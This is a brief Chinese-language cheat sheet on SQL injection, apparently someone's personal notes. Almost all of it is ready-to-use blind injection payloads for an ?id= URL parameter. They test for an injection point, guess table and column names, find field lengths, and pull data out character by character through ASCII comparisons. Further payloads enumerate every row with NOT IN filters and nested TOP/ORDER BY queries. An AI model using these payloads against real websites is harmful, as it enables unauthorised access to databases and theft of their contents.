sql注入
判断注入点 ' / and 1>0 / and 1<0 主要后面就是真或者假的就可以
猜表: ?id=1 and exists(select * from 表名) 正常时有该表
猜字段: ?id=1 and (select count(字段) from 表名)>=0
猜长度: ?id=1 and (select top 1 len(字段) from 表名)>* 确定长度
猜内容: ?id=1 and (select top 1 asc(mid(字段,N,1)) from 表名)>* 确定asc码
Ascii 0-9 48-57
Ascii a-z 97-122
Ascii A-Z 65-90
?id=1 and (select top 1 mid(字段,N,1) from 表名) ='g' 直接获得字符内容 如果是汉字内容 可以读取第一汉字 若使用asc 则返回的是负值 则怎么猜解汉字 还没有解决??
枚举所有内容:
利用条件过滤:?id=1 and (select top 1 len(字段) from 表名 where 字段 not in ('查询结果1','查询结果2'))>*
利用排序操作:select top 1 字段1 from (select top N 字段1,id from 表名 order by id asc) T order by id desc